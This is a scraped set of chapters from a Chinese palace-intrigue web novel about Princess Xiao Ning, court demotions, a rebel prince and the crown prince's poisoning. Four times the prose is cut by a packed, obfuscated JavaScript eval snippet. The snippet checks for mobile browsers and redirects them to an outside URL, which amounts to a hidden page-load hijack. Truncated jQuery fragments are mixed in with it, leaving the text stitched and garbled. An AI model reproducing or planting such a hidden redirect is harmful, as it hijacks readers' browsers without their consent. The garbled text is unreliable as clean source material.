RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16147084|180491||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 悄悄对二公主摇了摇头,示意她不要强出头。 因此,二公主便不再说话了。 皇帝将靳才人贬为八品采女,这已经是后妃中的最末一级了。 靳才人害怕之余,松了一口气。 哪怕皇帝已经如此生气,都没有杀她,也没有把她打入冷宫,只是降了她的位份。 这说明,皇帝心里对她还是有感情的。 只要她还活着,就能东山再起。 她心中对自己又有了信心。 皇帝下令,二公主一年内不得再进宫,更不得跟靳采女私下联系。 这个惩罚,对二公主来说简直非常轻了。 二公主虽然满腹委屈,但也赶紧谢恩,离开了皇宫。 同时,皇帝认为此事大皇子一定也知情,大皇子为了当皇帝,竟然连偷走空白圣旨的事都做得出来,皇帝对他很失望。 不过,大皇子毕竟是自己最喜爱的孩子,皇帝也不可能真的重罚他。 皇帝只是让大皇子前往封地就藩,不得私下跟靳采女、二公主联系。 同时,大皇子的封地、田产均收回一半,以示惩戒。 接着,皇帝打算召几个重臣进宫,商讨琅琊王的事改如何处理。 这些年,琅琊王一直表现出跟皇帝兄弟情深的样子,因此皇帝不停地加恩于他,导致琅琊王田连阡陌,富比陶朱,远超诸宗室。 皇帝觉得,如果直接召琅琊王进京问话,琅琊王说不定会直接起兵造反。 以琅琊王的财力,说不定早就养了许多私兵。皇帝并不知道他的虚实,不能刺激他。 谁知,已经有几个大臣来御书房求见皇帝,为琅琊王说好话,说琅琊王并无反心,所谓购买空白圣旨一事,纯属小人陷害。 皇帝见空白圣旨一案才案发,就有朝中大臣来为琅琊王说话,可想而知琅琊王的势力已经大到何种程度了。 皇帝本来还犹豫不决,但现在他坚定了一件事:琅琊王必须除掉。 因此,他对那几个大臣只是虚以委蛇,说会再调查调查,打发他们回去了。 接着,皇帝立刻召集了几个心腹大臣,商议攻打琅琊王一事。 刚才在皇帝面前仗义执言的小太监,偷偷溜了出去,来到一座假山后面。 这里有个长相清丽、气质婉约的宫妃,是郑婕妤,六皇子的生母,也是郑奇树将军的妹妹。 她本是才人,后来在大封六宫的时候,晋封为正三品婕妤。 那小太监对郑婕妤道:“婕妤娘娘,小人已经在皇上面前检举了靳采女和二公主,把她们私底下说的话告诉了皇上,皇上也因为空白圣旨的事,责罚了她们。” 郑婕妤眼前一亮:“靳采女?” “没错,皇上已经贬了靳氏为采女,圣旨还未下达,但靳采女已经迁宫了,搬去了偏远的铜雀殿。” “那二公主呢?可有受什么责罚?” “皇上只是罚她一年内不许进宫,不许跟靳采女私下联系。” 郑婕妤有些失望,但随即笑道:“有这样的结果已经不错了,毕竟皇上如此宠爱她们母女,要斗倒她们也不是一天两天的事。这次多亏你在皇上面前说话,这是给你的赏钱。” 142. 淑妃(修) 郑婕妤给了小太监一锭银子。 小太监收下后,道:“婕妤娘娘太客气了,其实小人说不说那番话,皇上都会处置靳采女母女三人的。” “不管怎么说,你所说的话,也算是进一步坐实了她们的罪证,让皇上更坚定地责罚了她们。” “奴才也只是据实回禀,谁让靳采女她们要做这种事呢?她们不知道,奴才已经盯着她们很久了。” “二公主已不能进宫,这段时间辛苦你继续盯着靳采女,她一旦有什么错处,马上来回禀本宫。” “是。对了,还有一事,要禀告娘娘。” “何事?” “皇上似乎准备对付琅琊王。” “琅琊王?就是他试图购买空白圣旨,但没有成功?” “是的。” “琅琊王谋反之心,昭然若揭。不过,他远在宁州,这些年想必部署了不少势力,要除掉他并非易事。必须得有优秀的将领领军,才有胜算。” “娘娘说的是。郑奇树将军是武状元出身,骁勇善战,现如今又担任左骁卫大将军,屡立奇功。由他当主将,攻打琅琊王,再合适不过了。” 郑婕妤摘下一朵梅花,放在鼻子下闻了闻,漫不经心地道:“别做得太明显,找个合适的人稍微在皇上面前提一嘴就行。” “是,小人这就去办。” —————— 几天后,皇帝派左骁卫大将军郑奇树为主将,另外派几个有经验的将领为副将,一起去宁州捉拿琅琊王。 如果琅琊王比较配合,就以礼相待,请他入京;如果他拒不配合,甚至起兵造反,就攻打他,活捉或是直接杀了都行。 大军到达琅琊王的封地后,琅琊王果然不甘心束手就擒,便召集自己的私兵反抗。 打了半个月后,琅琊王兵败,被郑奇树活捉,押解上京。 皇帝因琅琊王有谋反之心,还负隅顽抗,将其贬为庶人,圈禁在京城的一处小房子里,终生不得外出。 琅琊王的封地、财产、器物全部收归国库,私兵解散。 琅琊王财产不少,国库因此充盈。 皇帝有钱了,心情也好。他想到这次能发现琅琊王的阴谋,全赖萧柠剿匪之功。 因此,皇帝决定增加对萧柠的赏赐,改封她为凤城公主,食邑八千户,永业田三千亩,园林一座,仙鹤四只,良驹两匹。 她原先的食邑和永业田都在栾伊城,但栾伊城地方偏僻,经济落后,萧柠实际上收不了多少钱。因此,栾伊城那边的食邑和永业田就不要了,收归国有。 以后,栾伊城百姓的税收仍旧交给朝廷。 凤城人口有七万多,皇帝只是把其中比较殷实的八千户封给萧柠,剩下的人口仍旧交税给朝廷。 萧柠所拥有的财产田园,已经大大超过其他公主,仅次于二公主萧梦苒了。 萧梦苒犯下偷盗空白圣旨的罪,皇帝也只是骂了她一顿,并未收回她的财产,可见皇帝对其的宠爱程度。 萧柠心中有数,她不能跟萧梦苒去硬碰硬。好在她的仇人本来也不是萧梦苒,而是萧梦苒的母亲靳采女。 靳采女已经日薄西山,靳家已经完了,只剩下一些孤儿寡母,所有男丁都被斩首。 皇帝就算对靳采女还有旧情,但在靳采女一脉不停地犯事的情况下,所谓的旧情也所剩无几了。 萧柠离报仇又近了一步。 只要三皇子当上皇帝,萧柠把自己生母的冤屈告诉他,三皇子一定会替萧柠报仇,杀了靳采女。 萧柠换了汤沐邑,比之前有钱多了,便打赏了自己的随从、侍女、下属等,犒劳他们长时间的辛苦。 萧玉蟾和唐绿漪两个妹妹,萧柠给她们备了一份厚礼,她们都喜出望外。 萧柠身边的所有人都达成共识:只要好好为萧柠做事,萧柠不会亏待他们,他们的待遇会远超其他人。 因此,他们对萧柠的忠心、凝聚力都更强了。 萧柠获得了2500积分,现在的积分是321300。 唐绿漪跟在萧柠身边有一段时间了,萧柠发现她只是喜欢练字,但书看得不多,连四书五经都没背下来。 萧柠也问过她要不要看一些经世致用的书,但唐绿漪说自己看不下去,容易打瞌睡。她喜欢看故事书,还有就是练字。 萧柠对她说,如果她不能读一些科举相关的书,将来科考会很有难度。 唐绿漪说,自己对科考也没什么兴趣,只想在萧柠身边做个小吏,做一些简单的工作,不要太复杂,不要承担太多责任,每天能有时间看看闲书、练练字就好了。 萧柠明白了她的兴趣所在,对她的规划是将来当个□□品的闲散文官,负责校对图书、教授年幼学生、整理古籍、抄写文书之类的活。 这种活她能胜任,也很符合她恬淡的性格。 萧柠把这个规划跟唐绿漪说了,唐绿漪很高兴,表示一切都听萧柠安排。 萧柠对她说道:“你可以只看自己感兴趣的书,但每天必须保持一定的阅读量,成为一个有文化的人。历史上有很多人并不以科举闻名,但也成为优秀的文人,你要向他们看齐。 另外,你既然喜欢练字,就好好练,争取成为书法大家。时间花在哪里,哪里就要有成就。 你的优点是细心、认真、做事很投入,要继续保持。有这些优点,足以成为优秀的小吏了。至于将来能不能名垂青史,就看你其他方面发展得如何了。” 唐绿漪点头道:“嗯,我记住了。” ———— 郑奇树将军平定琅琊王有功,被封为平南侯。 同时,郑氏一族也有其他人跟随郑奇树出征,立下功劳,也都获得了封赏。 自从靳氏覆灭,郑氏崛起,已隐隐有成为朝中新贵的势头。 六皇子生母郑婕妤,被封为淑妃。 同时,皇帝扩大了六皇子的封地,并赐其经书百卷、玩具一箱、武器十件,鼓励他文武兼修,同时不忘劳逸结合。 六皇子才八岁,但也像个小大人那样谢恩,把皇帝的赏赐分门别类收拾起来,并把自己最近的课业给皇帝看,获得了皇帝的夸赞。 ———— ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16147085|180491||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 靳采女自从被降位,迁到偏远的铜雀宫,就一直没有出门。 她现在已经是最末等的采女,要是出门遇见了其他妃嫔,只是平白惹人笑话而已。 不过,她没有自暴自弃。 她的儿女都过得还可以,二公主萧梦苒只是被惩罚不许进宫,大皇子也只是被收回部分财产,去了封地。 只要她们母子三人还活着,就还有机会。 这时,她却听见外面响起了放烟花的声音。 她循声望去,道:“大白天的,放烟花做什么?” 她现在只有一个丫环伺候了,那丫环很懒散,也懒得照顾靳采女。 丫环听见靳采女说话,慢悠悠地道:“您还不知道吧,今日是郑淑妃封妃之喜,皇上特意让人在宫里放烟花庆祝。郑淑妃宴请阖宫妃嫔,唯独没有请您。” 靳采女皱眉:“郑淑妃?哪个郑淑妃?皇上又纳新人了?” “不是新人,是旧人。郑淑妃就是以前的郑婕妤。” “她刚晋封为婕妤没多久,怎么会这么快又晋封?” “她有个好兄长郑大将军,平定琅琊王叛乱有功;又有个好儿子六皇子,颇得皇上喜爱;再加上人又长得秀丽,性子又温柔,我要是皇上,我也抬举她。” “你胡说!她兄长郑奇树以前不过是个守皇陵的,刚调回京城没几年。她儿子六皇子,就是个乳臭未干的小孩,她们母子从来没什么存在感的……” “靳采女,我劝您还是接受现实吧。现在不是靳家一手遮天的时候了,外面的形势早就变了。您若是识时务呢,就去郑淑妃宫里恭贺一番,说几句吉祥话,再磕个头,说不定郑淑妃能赏赐您一些美食和散碎银两。 看看您现在的待遇,可真是太差了。您都多久没吃过一顿好饭了?” 靳采女把桌上的东西全扫到地上,大吼道:“你胡说!这不是真的!” 丫环不屑地看了靳采女一眼,走到一边,没再说话。 这时,门口响起了一个声音:“姐姐何必跟一个丫环置气呢?三十年河东,三十年河西,也是常有的事。妹妹如今富贵了,自然不会忘记姐姐的。” 靳采女不敢置信:“这声音……郑氏?” 郑淑妃含笑走了进来,她满头的珠翠,晃得靳采女眼睛疼。 郑淑妃还是原来的模样,并不见老。而且由于春风得意,她看起来更增添了几分魅力。 “靳姐姐,我如今是妃位了,您可不能郑氏、郑氏地叫。让宫中的掌事女官听见了,可是要掌嘴的。” 靳采女冷笑:“想当初,你不过是一个唯唯诺诺、在我面前连大气都不敢喘的低位妃嫔,如今也这般张狂起来了。不过我奉劝你,小人得志,是不会长久的。” “姐姐啊姐姐,我们俩究竟谁是小人呢?你若是不犯错,皇上怎么会将你一贬到底?皇上希望你闭门思过,你火气却如此之大,实在不应该啊。” “贱.人!” 靳采女冲了过来,想打郑淑妃。 郑淑妃却接住了她的手,另一只手扬起,重重打在了靳采女脸上。 143. 比赛(修) 靳采女很震惊,她横行后宫这么多年,还是第一次挨打。 她愤怒地看着郑淑妃:“你敢打我?” “你以下犯上,难道不该打?我比你高了多少级来着?姐姐,我数学不好,你帮我算算。” “你……我要告诉皇上!” “皇上现在怕是不愿意见你吧。姐姐,我给你带来几个重要的消息,没想到你这么凶,我还没顾得上说呢。” 靳采女将信将疑:“什么消息?” “您的祖母前几日因忧伤过度,已经过世了。还有,您的两个侄女,本来跟高门大户订了婚,但靳家败落,她们被退了婚,想不开,悬梁自尽了。她们的母亲太过伤心,也生了重病,只怕撑不了几日了。” 靳采女摇摇晃晃,站立不住:“你……你说什么?你胡说!” “我是不是胡说,姐姐派人打听一下就知道了。另外,我还有一个关于大皇子的消息……” “大皇子怎么了?你快说!” “姐姐放心,不是什么大事。大皇子到了封地后,郁郁寡欢,整日沉迷酒色。结果他的侍妾们争宠,给他服用了虎狼之药。大皇子因此得了隐疾,以后……怕是不能有子嗣了。” “你说什么?!” 靳采女睁大了眼睛,恶狠狠地看着郑淑妃,仿佛要把她生吞了。 郑淑妃丝毫不惧,只是后退了一步,笑道:“我没必要骗你,关于大皇子的事,姐姐也可以去打听一下。唉,一个不能绵延子嗣的皇子,这辈子应该跟皇位无缘了吧……” 靳采女仿佛被抽走了全身的力气,瘫倒在地。她的丫环也不扶她。 郑淑妃脸上闪着报复的快意:“姐姐,当初你得势时,是如何欺负我,你记得吗?你动不动就挑我的错处,让我罚跪、禁足、逼我在经期喝冰水、头顶着砖块在烈日下罚站…… 我大哥有将相之才,你就联合你的兄弟打压他,把他调到皇陵,想让他一辈子没有出头之日。 他好不容易出来了,顶替了你大哥的位置,你就迁怒于我。你让我不停地磕头,你女儿踩着我的脖子作践我…… 这一桩桩,一件件,我可都记着呢。你恶贯满盈,如今已经到了偿还的时候。 刚才宴请阖宫妃嫔的时候,我已经嘱咐她们,如果靳采女有什么做得不对的,她们这些高位妃嫔可要好好指导。 我想,以后的日子,姐姐你一定会得到很多人的指导,这日子会越过越热闹的。” 靳采女只是喃喃自语:“不,我祖母没有死……我侄女没有死……大皇子不可能出事……我要见皇上……” 看着她这副宛如癫狂的模样,郑淑妃笑了笑,随即露出嫌恶的表情。 接着,她离开了铜雀宫。 —————— 以前被靳采女欺负过的妃嫔,时不时地就来到铜雀宫,“关照”一下靳采女。 靳采女被“关照”得快疯了,她每天都念叨着要见皇帝。 终于,在一次早朝的时候,她冲进了大殿,请求皇帝立大皇子为太子,立她为皇后。 皇帝叫她退下,她恍若未闻,抓着殿中的大臣,一个一个恳求,让他们支持大皇子为太子。 皇帝终于耗尽了最后一点耐心,他说靳采女疯了,褫夺采女封号,打入冷宫,任何人不得探视。 三皇子萧奕贺站出来说,靳氏虽然已经疯癫,但毕竟陪伴父皇多年,生有大皇子和二公主,请父皇念在旧情,安排几个稳妥的宫人在冷宫照顾靳氏,不要让其衣食不周。 皇帝同意了三皇子的提议,并说三皇子宅心仁厚,宜立为太子。 半个月后,立太子的诏令正式颁发,大赦天下。 萧柠听说这个消息,激动不已,也上了贺表。 太子萧奕贺给萧柠送了许多礼物,并附上一封信。信上说父皇赏赐了许多东西给他,他根本用不完,就给萧柠和二皇子都寄了一些。 萧柠把这些礼物都看一遍,然后让丫环收起来。 她太开心了,接连宴请了同僚好几天。 她很想回京看看太子如今的模样,但她身为一州长官,不能轻易离开,只能写了几封信给太子,嘱咐他勤政爱民,好好表现,不要出差错。 太子也回信,让她放心,自己一切都好。 萧柠又听说靳氏已经疯癫,被打入冷宫,心中一快。 皇帝应该已经厌烦靳氏了,自己只需找个合适的时机,把自己母亲枉死的真相告诉皇帝就行。 —————— 栾伊城的长官林川呈上奏表,说是栾伊城五天后打算举办运动比赛,请刺史大人和其他州府官员观礼。 萧柠觉得很高兴,之前她在栾伊城推广全□□动,只要运动时间达到一定的标准,就能减免一半的赋税。 此举既减轻了百姓负担,又能让他们锻炼身体,一举两得。 栾伊城的百姓为了争取赋税减半,对锻炼一事都很有积极性。 如今运动在栾伊城已经很常见了,因此官府顺势举办运动比赛,让百姓们这么久以来的运动成果有一个展示的机会。 萧柠觉得这个运动比赛很不错,正好最近也不算忙,便回信说,自己会去参加。 五天后,萧柠带着几个亲信,来到了栾伊城。 虽然萧柠的汤沐邑已经不在此处了,但这里的百姓还是非常爱戴萧柠,纷纷跟萧柠打招呼,还有百姓想交钱或布匹给萧柠。 萧柠笑着拒绝了:“各位百姓,现在栾伊城的赋税要上交国库,你们无需再给我交什么了。” 百姓们纷纷说道:“这是我们自愿赠送给公主的!” “公主,您收下吧!您前些年一直免了我们一半的赋税,我们给您交点钱也是应该的!” 萧柠道:“不,我不缺这点钱,但对你们来说,几两银子,甚至几文钱,都至关重要。只要大家过得好就行了,我不缺吃不缺穿,大伙不必记挂我。” 有几个女孩跑上前来,道:“公主,您不收财物,那请收下我们的花吧!” 萧柠笑着接过。 结果,有越来越多的百姓要去摘花,献给萧柠,萧柠赶紧阻止:“哎,不用了,心意到了就行。花 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16147086|180491||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 太多,我也赏不过来。” 众人这才作罢。 栾伊城县令林川道:“大家不要挡路,运动比赛马上开始,我们要带公主去高处参观,一会你们好好表现!” 众人纷纷让路,欢声雷动。 林县令带着萧柠上了一座高台。 从这里可以看清比赛的状况。 萧柠问道:“林县令,一共有哪些比赛?有什么奖品?” 林县令道:“比赛项目有长跑、短跑、跳绳、搏斗、蹴鞠、踢毽子等,每个比赛的前十名可以得到100斤米或是100斤面,前20名可以得到30斤蔬菜,蔬菜种类任选。” “听起来不错,买礼品的钱够吗?” “够。公主这些年少收赋税,藏富于民,各种食物的价格都不高。而且,前阵子剿匪成功,公主给各城都发了一些救济金,如今官府的钱还能用好一阵。” “那就好。” 栾伊城也属于青州管辖范围,所以现在萧柠也是栾伊城的长官。 萧柠又道:“我看参加比赛的人很多,20名开外的人是不是没有奖励了?” “对,预算有限,没法给每个人都准备礼物。” “传我命令,凡是坚持到比赛结束的,每个人都可以获得一包白糖、一把剪刀,过几天后再发。我来出钱。” “公主,这太破费了……” “没关系,栾伊城人口不多,还有很多老幼病残不能参赛,算起来也不需要花多少钱。” 萧玉蟾笑着说道:“林县令无需担心,我们公主最近可发财了。她得到了很多皇上的赏赐,食邑和永业田也扩大了数倍,每天都发愁怎么花钱呢。” 林县令也笑了:“那下官就替栾伊城的百姓多谢公主了。” 林县令传达了萧柠的命令,百姓们都欢欣鼓舞,纷纷表示自己一定要坚持到最后。 比赛在一片空地举行。 由于官府人力有限,每个百姓只能报名一个项目。 空地上可以同时进行两三个比赛,萧柠一会看看长跑,一会看看踢毽子,一会看看蹴鞠,觉得眼花缭乱,同时又很有趣。 原来看别人比赛、自己只需观看是如此惬意。不仅不用紧张,还可以吃点零食,喝喝茶,点评一下下面的参赛者。 萧玉蟾道:“公主,您看那个胖子,跑得比一群瘦子都快,实在令人惊讶。” 萧柠点头:“是啊,人不可貌相。” “看那个大娘,已经连续踢了100下毽子了,不知道能坚持多久。” “我猜她能踢到最后,打败所有对手。” “公主你看,有个人摔倒了,跑在他前面的人把他扶起来,走出了赛场。不过这么一来,两个人都没法跑完全程,得不到您的奖励了。” “不,摔倒那人已经崴了脚,没法继续跑了,对他来说也算参赛到最后了,可以获得奖励。至于扶他的那人,心地善良,为了别人退出比赛,我觉得我应该给他双倍奖励才是。” “公主说得对,我一会去打听一下那两人的姓名,方便发放奖励。” 144. 救人(修) “嗯。” 所有比赛一天就结束了,萧柠给了林县令一张银票,道:“林县令,你用这些钱去采购白糖和剪刀,如果一时买不到太多,就告诉百姓,这些奖励过几天再发放,但一定会发到他们手里。” 林县令接过银票,道:“多谢公主。” 系统给了萧柠4000积分,现在积分是322800。 萧柠在高台上吹了一天冷风,也累得很了,决定在栾伊城住一晚,明天再回青州。 谁知,她刚走下高台,就有一对老夫妻带着一个瘦长的青年来磕头。 萧柠赶紧问道:“怎么了?” 这对老夫妻道:“公主,太感谢您了……您救了我们的儿子……” “这话从何说起?我并不认识你们的儿子。” “我儿子就是这次长跑比赛的第一名……您不知道,他自小就体弱,总是待在房间里,不爱出门,也没什么朋友。大夫说,他这么下去,恐怕寿命不会太长。 后来您制定了以运动时长抵扣赋税的策略,我儿子为了让我们家少交税,开始每天参加锻炼。 他的身体慢慢变好了,也爱吃饭了,这次参加长跑比赛,竟然能获得第一名,这在以前是想都不敢想的事……公主,您救了我儿子,帮了我们全家啊。” 萧柠也很激动:“是吗?那可太好了……这也要他自己肯锻炼才行啊,祝福你们。” 他们的儿子也真诚地说道:“我从小就懒散惯了,如果不是为了让爹娘少交点赋税,我也不会下定决心去参加锻炼。公主,您改变了我的人生,我如今有了健康的体魄,决定报效国家,去参军。” “真的吗?你有这样的志向很好,我认识边境的任将军,我给你写一封推荐信,让你去任将军那里当兵。” “多谢公主!” “不过,你父母谁来照顾?” “我还有几个兄弟姐妹,可以照顾父母。” “好。” 萧柠给这青年写了推荐信,在写信期间,不断地有百姓过来感谢萧柠,说他们的体魄变得更好了。 有很多人身体变好后,还找到了更好的工作,这都是萧柠的功劳。 萧柠十分激动,她没想到自己的政策竟然带来如此多的变化,帮了这么多百姓。 这比她吃到好吃的、买到漂亮的衣服首饰要高兴数倍。 原来她可以做这么多事。 萧柠决定,以后在全青州推广运动,让青州百姓都因此受益。 不过,青州大部分地区的赋税都属于国家,她不能自作主张减免。 所以,她得想别的方式激励百姓运动。 时不时举办运动比赛,就是个很好的方法。 运动比赛的前几名可以获得丰厚的礼品,前100名也能获得安慰奖,这样可以调动百姓们运动的积极性。 这还是栾伊城的运动比赛给她的灵感。 她和栾伊城也算是相互成就了。 晚上,萧柠回到客房,见萧玉蟾和唐绿漪在插花。 因为她们是临时出来看运动比赛,栾伊城地方又小,萧柠就和两个妹妹住一间房。 萧玉蟾喜欢花,无论去哪都会买花,哪怕只住一两天。 左边的花瓶插着许多支梅花,有红梅、白梅、绿梅、黄梅,每一朵都淡雅宜人,搭配在一起也很相衬,仿佛是一幅色彩鲜艳的画。 右边的花瓶里插着一些野花,有些枯萎了,有些花瓣只剩下一半,看着乱糟糟的。 萧玉蟾道:“公主,左边的花是我和绿漪去花鸟市场买的,右边的花是今天栾伊城百姓送你的。虽然那些花挺杂乱的,我还是插瓶了。” 萧柠道:“把百姓送的花放我床边吧,提醒我勿忘百姓。” “好的。” 萧玉蟾把那瓶乱糟糟的花放在了萧柠床边,另一瓶漂亮的梅花放在了窗台上。 ———— 宫里。 郑淑妃带着六皇子,来到温贵妃宫里拜访。 温贵妃笑道:“淑妃妹妹怎么来了?” 郑淑妃道:“我想着姐姐长日寂寞,让六皇子来陪您说说话。” “你有心了,我正想着六皇子呢。我给他做了一个小书包,可以放书的。” 六皇子恭敬行礼:“谢谢贵妃娘娘。” 温贵妃笑道:“这孩子,行起礼来还有模有样的呢。《诗经》有云:‘麟之趾,振振公子。’说的就是六皇子吧。” 郑淑妃道:“贵妃娘娘既然喜欢他,何不收他为义子呢?您一直膝下寂寞,之前大公主与您同住,却未曾认您为义母。 如今大公主也外出做官了,有个小孩在身边,也好打发时光。六皇子很孝顺,他在您身边长大,必定会待您如同生母。刚刚太医来为我诊脉,说我怀有身孕。 我想,我现在不适合照顾六皇子,得为他寻个稳妥的义母才是。” 温贵妃眼中的笑意淡了一些,但还是温和地说道:“六皇子年幼,没法与生母分离,本宫亦不忍做这样的事。妹妹再次有孕是好事,不过照顾六皇子是宫人们的活,不会劳累到妹妹的。 本宫这么多年都没有收养子女,已经习惯了孤身一人,倒也不会寂寞。六皇子若是喜欢来本宫这儿玩,尽管来玩便是。” 郑淑妃道:“贵妃姐姐无法生育,若不收养个一儿半女的,以后老了怎么办呢?” “将来我必定是太妃,自有宫中俸禄,也有宫人伺候,不必担心老无所依。而且我现在对这些孩子们都一视同仁,多加关照,他们长大后肯定不会弃我于不顾的,是否收为义子差别不大。 六皇子已经有了一个身份高贵的生母,不需要一个身份更高贵的养母,否则岂不是太惹眼了?” 郑淑妃想了想,道:“娘娘言之有理,那此事就再议吧。嫔妾要回宫休息,让六皇子再陪您片刻。” 温贵妃道:“也好。” 郑淑妃走后,六皇子问温贵妃:“贵妃娘娘,大皇姐什么时候回来?” 温贵妃摸了摸他的头:“你大皇姐在外做官,以后不会回后宫居住了。就算回来,也是坐坐就走。” 六皇子有些失望:“好吧。如果大皇姐回来,您一定要通知我,我想跟大皇姐一起玩,一起找画师给我们画画。” “好,再等等看吧。” 六皇子玩了一会,回到了母亲郑淑妃这里。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16147087|180491||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 郑淑妃屏退宫人,对六皇子说道:“奕邦,你要多讨温贵妃开心,争取让温贵妃收你为义子。” 六皇子疑惑道:“可是刚才,贵妃娘娘说了,她不需要义子。” “只要你常去陪伴她,她对你感情深了,就有可能收你为义子。” “为什么要这样呢?我已经有母妃了,只想陪在母妃身边。” “你得为自己的前程考虑。温贵妃的位份比母妃高,她做你的义母,对你不是更有好处吗?” “什么好处?” 见六皇子一副懵懂的样子,郑淑妃皱了皱眉,道:“总之,你听母妃的,母妃不会害你。” “母妃,我觉得您跟以前不一样了。” “哪里不一样?” “说不上来……我就是感觉不一样了。” “这都是你的错觉。奕邦,你要记住,人可以善良,但不能没心计。在后宫中,不进则退。娘好不容易才到如今的位置,要趁此机会为你铺好路。” “铺什么路?我已经是亲王了。” “亲王之上,还有太子。” “太子?可是太子不是三皇兄吗?” “太子可以是他,也可以是你,这都是皇上一句话的事。” 六皇子有些害怕:“为什么要抢三皇兄的太子之位?这样做是不对的。” “没有什么对不对,你和他都是皇子,都有资格做皇帝。” “可是,我觉得三皇兄很好啊……而且,他是嫡长子,论名分也该是他当太子。” “名分都不是长久不变的。假如有一天,母妃当了皇后,那你不也是嫡子吗?” “啊……可是那样的话,我也比三皇兄小啊,论长幼也该是他当太子。” “忘记你那套长幼尊卑吧,读书是用来统治别人的,不是用来给自己设限的。总之,你听母妃的,第一步,先取得温贵妃的信任。” “母妃,我不想听你的……我觉得现在这样很好啊,我每天都可以读书,可以练武,可以到处玩……我什么都有……” “你现在还小,不明白的。今天母妃跟你说的话,你不能泄露出去,否则母妃会被父皇杀死,知道吗?” 六皇子吓哭了:“我……我不说……” “好孩子,这就对了。” ———— 萧柠回到青州后,跟众位下属商议,要推广全□□动。 此事交由一个不太忙的小官负责,具体措施有: 在青州各地建一些运动设施,增加一些运动场地; 每个县每年举办两次运动比赛,优胜者可获得奖品,奖品种类、数量由预算决定; 各商家禁止宣传以纤弱、病态为美,转而宣传以健康为美,违者罚款,严重违反者歇业整顿; 各级官吏随机抽取几位百姓进行身体测试,测试合格者发放奖品,不合格者罚锻炼一小时。身体测试的时间、地点必须保密,不得形成定例; 所有学堂需让学生们早上有一定的锻炼时间;等等。 这些措施推广下去后,喜欢锻炼的百姓增加了,不过效果不是很显著。 因为他们没有更大的动力。 145. 惊变(修) 萧柠现在权力有限,也只能做到这个程度,以后再慢慢普及。 系统给了萧柠2万积分,现在的积分是342800。 几天后,萧柠又接到了太子的来信,说自己要成亲了,娶的是护国公府的二小姐南若烟。 萧柠看到这封信,既惊讶,又高兴。 弟弟要成亲,她自然欢喜。 惊讶的是,这护国公府早已没落,只因这一代的护国公已经过世,只留下两个女儿,没有儿子。 长女已经出嫁,护国公府只剩次女南若烟。 次女出嫁后,护国公府的爵位、田地等都要收归国有了。 所以,这护国公府,已经名存实亡。 萧柠不知道太子为何要选这南小姐做太子妃,也许是看上了南小姐这个人吧。 萧柠以前也见过南若烟几次,知道她是个风雅有趣、如花似玉的姑娘。这么多年过去,想必她出落得越发好了,太子可能对她一见钟情。 若论两个人的人品相貌,那自然是般配的。 萧柠觉得,太子没有娶势力强大的妻子也没事,太子本身就是最大的势力了。 因此,她把所有担忧抛诸脑后,专心准备起给太子的新婚贺礼。 她还给皇帝上了一份奏折,询问能不能回京参加太子的婚宴。 皇帝回信说,萧柠现在是一州长官,责任重大,不能因私废公、擅离职守。如将来有机会调回京城,自然能见到太子妃。 萧柠觉得皇帝说得不错,因此便安心待在青州处理政务,只在心里默默祝福太子和太子妃。 几天后,女护卫桑叶急匆匆地跑到萧柠的房间,神色慌张。 萧柠本来派了飞鹰、桑叶两名女护卫外出,帮她打探消息,如果有什么大事需要她知道,就传信回来。 以前桑叶都是写信回来,可这次却是她自己回来,萧柠预感到出了了不得的大事。 萧柠问道:“桑叶,怎么了?” “公主……太子殿下他……” 桑叶似乎有些说不下去。 “他怎么了?” “他薨了……” “什么?” 萧柠不敢相信自己的耳朵,一度以为自己在做梦。 可桑叶悲伤、惊惶的神色,明明白白地告诉她,这就是现实,不是做梦。 萧柠的气息微弱了很多,喃喃道:“怎么会这样……他不是才成亲吗……” “就是在成亲的时候,他……他被害死了……” “被谁害死了?” “是……太子妃。太子妃在成亲当天,涂上了有毒的口脂,然后……第二天早上,宫女们发现太子和太子妃都死了……经检验发现,是因为太子妃的口脂有毒,太子才被毒死……” “怎么会这样……太子妃为何要毒死太子?” “太子妃留下绝命信,说是她一直倾慕大皇子。可太子非要跟大皇子相争,害得大皇子方寸大乱,做下一些错事,才会受到皇上的斥责,被赶到封地去。 靳家是为了帮大皇子,才犯了罪,败落了。 后来大皇子还因沉迷酒色,乱吃药,伤了身体,无法再生育。 